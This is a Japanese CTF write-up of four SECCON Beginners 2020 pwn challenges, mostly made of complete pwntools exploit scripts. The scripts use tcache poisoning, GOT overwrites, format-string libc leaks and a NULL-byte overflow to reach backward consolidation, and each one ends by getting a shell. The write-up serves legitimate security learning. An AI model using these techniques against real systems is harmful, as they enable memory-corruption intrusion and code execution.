GOT exploit / sophisticated beginners chall / FSA / NULL-overflow to invoke consolidation
1: イントロ
いつぞや開催された SECCON Beginners CTF 2020
競技中はあまり関与せず、molec0n CTFを眺めたり(眺めるだけ)、課題レポートをやったりしていましたが、終了後に全て解きました
折角なのでwriteupを供養します
2: Beginner's Heap
Point
めちゃめちゃ良い教材だと思います、1年前に出会いたかった...
概要
libc2.29におけるtcacheの問題
指示されたとおりにやっていればflagが貰えるようになっている
exploit
#!/usr/bin/env python #encoding: utf-8; from pwn import * import sys rhp1 = {'host':"bh.quals.beginners.seccon.jp",'port':9002} #for actual server rhp2 = {'host':"localhost",'port':12300} #for localhost rhp3 = {'host':"",'port':23947} #for localhost running on docker context(os='linux',arch='amd64') def exploit(conn): conn.recvuntil("free_hook>: ") freehook = int(conn.recvline().rstrip(),16) conn.recvuntil("win>: ") win = int(conn.recvline().rstrip(),16) conn.recvuntil("hint") print("win: "+hex(win)) print("freehook: "+hex(freehook)) conn.recvuntil("> ") conn.sendline("2") conn.sendline("A"*8) conn.recvuntil("> ") conn.sendline("3") conn.recvuntil("> ") conn.sendline("1") conn.send("A"*0x3*0x8 + p64(0x21) + p64(freehook)) conn.recvuntil("> ") conn.sendline("2") conn.sendline("hoge") conn.recvuntil("> ") conn.sendline("1") conn.send("A"*0x18 + p64(0x31)) conn.recvuntil("> ") conn.sendline("3") conn.recvuntil("> ") conn.sendline("2") conn.send(p64(win)) conn.recvuntil("> ") conn.sendline("3") if len(sys.argv)>1: if sys.argv[1][0]=="d": cmd = """ set follow-fork-mode parent """ conn = gdb.debug(FILENAME,cmd) elif sys.argv[1][0]=="r": conn = remote(rhp1["host"],rhp1["port"]) elif sys.argv[1][0]=="v": conn = remote(rhp3["host"],rhp3["port"]) else: conn = remote(rhp2['host'],rhp2['port']) exploit(conn) conn.interactive()
3: Elementary Stack
問題概要
自明なOOBがありheapへのポインタを書換えてGOT overwrite
point
got[atol]を直接書き換えると引数も渡せないし、そもそも次のatol()で死ぬため1個上のgot[malloc]を書き換える
あとは FSA で libcbase を leak して終わり
exploit
#!/usr/bin/env python #encoding: utf-8; from pwn import * import sys FILENAME = "chall" rhp1 = {'host':"es.quals.beginners.seccon.jp",'port':9003} #for actual server rhp2 = {'host':"localhost",'port':12800} #for localhost rhp3 = {'host':"",'port':23947} #for localhost running on docker context(os='linux',arch='amd64') binf = ELF(FILENAME) libc = ELF("./libc-2.27.so") def hoge(conn,ix,val): conn.recvuntil("index: ") conn.sendline(str(ix)) conn.recvuntil("value: ") conn.sendline(str(val)) def fuga(conn,ix,val,piyo=True): conn.recvuntil("index: ") conn.send(ix) if piyo: conn.recvuntil("value: ") conn.send(val) off_system = 0x4f440 def exploit(conn): hoge(conn,-2,binf.got["malloc"]) # bufferをgot:mallocに向ける(使用するgotに向けるとそいつが呼び出せなくなるから注意) fuga(conn,p64(0xaaaa)+p64(binf.plt["printf"]),"%25$p\n") # atolをprintfにしたあと、atol("%25$p")でlibcbase leak libcbase = int(conn.recvline(),16) - 0x21b97 fuga(conn,p64(0xaaaa)+p64(libcbase + off_system), "/bin/sh\0") if len(sys.argv)>1: if sys.argv[1][0]=="d": cmd = """ set follow-fork-mode parent """ conn = gdb.debug(FILENAME,cmd) elif sys.argv[1][0]=="r": conn = remote(rhp1["host"],rhp1["port"]) elif sys.argv[1][0]=="v": conn = remote(rhp3["host"],rhp3["port"]) else: conn = remote(rhp2['host'],rhp2['port']) exploit(conn) conn.interactive()
4: ChildHeap
問題概要
- double free可能(libc2.29だから死ぬけど)
- 任意size malloc可能
- ユーザ側で保持できるchunkは一つ
- NULL overflow
- chunkをfree()するかfloat状態にさせておくかは自由
point
libc 2.29の誘導なしheap問
但しやることは突飛なことはないが、chunkが一つしか保持できないため若干面倒
まずNULL overflowを利用してtcacheのsizeを0x100に変えていきtcache[0x100]を溢れさせる
その途中でtcacheのfdを読んでheapbaseをleakしておく
あとはいい感じに chunk forge して back consolidation で overlapped chunk を作って
libcbase leak と freehook overwrite をする
ここらへんは正直メモリを眺めながら何となくでexploitを書いていればできるため、上手く説明のしようがないが
このあとのexploitでにおいて 「Fig.x」としてある状態のヒープのイメージ図を以下に用意した
exploit
自分の書いたPoCでは割と回りくどいことをしていたため、解き直して作問者様のPoCに寄せた
Fig.1~4と書いてある時点のヒープレイアウトが上の画像に対応している
#!/usr/bin/env python #encoding: utf-8; from pwn import * import sys FILENAME = "./childheap" rhp1 = {'host':"childheap.quals.beginners.seccon.jp",'port':22476} #for actual server rhp2 = {'host':"localhost",'port':12500} #for localhost rhp3 = {'host':"localhost",'port':23947} #for localhost running on docker context(os='linux',arch='amd64') binf = ELF(FILENAME) libc = ELF("./libc-2.29.so") ogs = [0xe237f,0xe2383,0xe2386,0x106ef8] def hoge(conn,ix): conn.recvuntil("> ") conn.sendline(str(ix)) def alloc(conn,size,content): hoge(conn,1) conn.recvuntil("Size: ") conn.sendline(str(size)) conn.recvuntil("Content: ") conn.send(content) def delete(conn,yesno=True): hoge(conn,2) conn.recvuntil("Content: '") data = conn.recvuntil("'")[:-1] conn.recvuntil("] ") if yesno: conn.sendline("y") else: conn.sendline("n") return data def wipe(conn): hoge(conn,3) def de(conn): delete(conn) wipe(conn) def ade(conn,size,overflow=False): a = "A"*size if overflow else "A"*(size-0x8) alloc(conn,size,a) de(conn) def aw(conn,size,overflow=False): # without delete a = "A"*size if overflow else "A"*(size-0x8) alloc(conn,size,a) wipe(conn) off_libc = 0x1e4e90 off_freehook = 0x1e75a8 off_system = 0x52fd0 def exploit(conn): ssize = 0x18#0x28 msize = 0xf8 lsize = 0x108#0x128 ## fulfill tcache ade(conn,msize) for i in range(0x5): ade(conn,ssize) ade(conn,lsize) aw(conn,ssize,True) ade(conn,lsize) # now tcache has 6 chunks, 5 of them have fake size ## leak heap addr alloc(conn,msize,"A"*8) delete(conn) heapbase = unpack(delete(conn,False).ljust(8,'\x00'))-0x710 print("heapbase: "+hex(heapbase)) wipe(conn) ## forge fake chunk fake1 = "B" * 0x30 fake1 += p64(heapbase + 0x9b0) + p64(heapbase + 0x9b0) fake2 = p64(0) + p64(0x100) fake2 += p64(heapbase + 0x990) + p64(heapbase + 0x990) ade(conn,ssize) ade(conn,lsize) aw(conn,ssize,True) alloc(conn,lsize,fake1+fake2) de(conn) print("Fig.1") # tcache[0x100] is full ade(conn,ssize+0x20) ade(conn,lsize) alloc(conn,ssize+0x10,(p64(0)+p64(ssize+0x8+1))*2) wipe(conn) alloc(conn,ssize+0x20,"C"*(ssize-0x8+0x20)+p64(0x100)) # null overflow de(conn) print("Fig.2") alloc(conn,lsize,(p64(0)+p64(0x21))*0x10) print("Fig.3") de(conn) # consolidate print("Fig.4") ## leak libcbase alloc(conn,0,"") libcbase = unpack(delete(conn,False).ljust(8,'\x00')) - off_libc print("libcbase: "+hex(libcbase)) de(conn) ## print("free_hook: "+hex(libcbase+off_freehook)) inj = "D"*0xa0 inj += p64(libcbase + off_freehook) inj += p64(heapbase + 0x10) alloc(conn,0x128,inj) # overwrite tcache[ssize+0x20]'s fd wipe(conn) alloc(conn,ssize+0x20,"G"*8) # wipe(conn) alloc(conn,ssize+0x20,p64(libcbase + off_system)) # overwrite free_hook wipe(conn) alloc(conn,0x70,"/bin/sh\x00") delete(conn,True) if len(sys.argv)>1: if sys.argv[1][0]=="d": cmd = """ set follow-fork-mode parent """ conn = gdb.debug(FILENAME,cmd) elif sys.argv[1][0]=="r": conn = remote(rhp1["host"],rhp1["port"]) elif sys.argv[1][0]=="v": conn = remote(rhp3["host"],rhp3["port"]) else: conn = remote(rhp2['host'],rhp2['port']) exploit(conn) conn.interactive()
5: flip
問題概要
一番難しかった
終わってみれば若干の工夫こそ必要なもののやったことは複雑じゃないのに
何故か解くまでにめちゃくちゃ時間がかかった
というかGOT問が苦手なのかもしれない
point
- GOT overwrite (setbuf->puts)
- 相対書換え
got[_stack_chk_fail] と got[exit] の書換えを上手く使いわけて、setbufが呼ばれるループ・呼ばれないループを作り上げる
なお終盤まで flip 操作を暗算で行おうとしていたため、脳が死亡した
exploit
#!/usr/bin/env python #encoding: utf-8; from pwn import * import sys FILENAME = "flip" rhp1 = {'host':"flip.quals.beginners.seccon.jp",'port':17539} #for actual server rhp2 = {'host':"localhost",'port':12500} #for localhost rhp3 = {'host':"",'port':23947} #for localhost running on docker context(os='linux',arch='amd64') binf = ELF(FILENAME) libc = ELF("./libc-2.27.so") ogs = [0x4f2c5,0x4f322,0x10a38c] def hoge(conn,target,n1,n2): conn.recvuntil(">> ") conn.sendline(str(target)) conn.recvuntil(">> ") conn.sendline(str(n1)) conn.recvuntil(">> ") conn.sendline(str(n2)) def fuga(conn,target,_from,_to): diff = _from ^ _to nums = [] tmp = -10 for i,c in enumerate(bin(diff)[2:][::-1]): if c=='1': nums = nums + [i] print(nums) while len(nums)>0: n1 = nums[0] nums = nums[1:] if len(nums) == 0: n2 = tmp else: n2 = nums[0] nums = nums[1:] if n2 != tmp: if n1//8 != n2//8: nums = [n2] + nums n2 = tmp #print("{} {} {}".format(n1//8,n1%8,n2)) hoge(conn,target+(n1//8),n1%8,n2) else: #print("{} {} {}".format(n1//8,n1%8,n2%8)) hoge(conn,target+(n1//8),n1%8,n2%8) else: #print("{} {} {}".format(n1//8,n1%8,n2)) hoge(conn,target+(n1//8),n1%8,n2) def exploit(conn): #got exit を start に hoge(conn,binf.got["exit"],4,5) # got_exit into start+6 hoge(conn,binf.got["exit"],1,2) # got_exit into start ## start loop # stack_chk_fail into main fuga(conn,binf.got["__stack_chk_fail"],0x0676,0x07fa) # got[exit] to plt[stack_chk_fail] fuga(conn,binf.got["exit"],0x06e0,0x0670) ## main loop # got[setbuf] into puts fuga(conn,binf.got["setbuf"],0xf04d0,0xe89c0) # got[exit] into start fuga(conn,binf.got["exit"],0x70,0xe0) ## start loop # stderr into stderr+0x8 fuga(conn,binf.symbols["stderr"],0x80,0x88) conn.recvuntil("Done!\n") conn.recvuntil("\n") libcbase = unpack(conn.recvuntil("\nI")[:-2].ljust(8,'\x00')) - 0x3ec703 print("[+] libcbase: "+hex(libcbase)) ################# 以降自由な世界 運が必要ないって素晴らしい ################## # got[exit] into plt[stack_chk_fail]+6 hoge(conn,binf.got["exit"],4,7) # got[setbuf] into system fuga(conn,binf.got["setbuf"],libcbase + libc.symbols["puts"], libcbase + libc.symbols["system"]) # stderr->flag into /bin/sh\x00 fuga(conn,libcbase + libc.symbols["_IO_2_1_stderr_"],0xfbad2087,unpack("/bin/sh\x00")) # stderr into stderr fuga(conn,binf.symbols["stderr"],libcbase + libc.symbols["_IO_2_1_stderr_"]+8,libcbase + libc.symbols["_IO_2_1_stderr_"]) # got[stack_chk_fail] into start fuga(conn,binf.got["exit"],binf.plt["__stack_chk_fail"],binf.symbols["_start"]) if len(sys.argv)>1: if sys.argv[1][0]=="d": cmd = """ set follow-fork-mode parent """ conn = gdb.debug(FILENAME,cmd) elif sys.argv[1][0]=="r": conn = remote(rhp1["host"],rhp1["port"]) elif sys.argv[1][0]=="v": conn = remote(rhp3["host"],rhp3["port"]) else: conn = remote(rhp2['host'],rhp2['port']) exploit(conn) conn.interactive()
6: アウトロ
ルクセンブルクって
ル・クセンブルクなのか
ルクセンブル・クなのか分からないし、
ルクセンブルク大統領に至っては
ル・クセンブルク大統・領なのか
ル・クセンブル・ク大・統領なのかわかんないよな........
続く・・・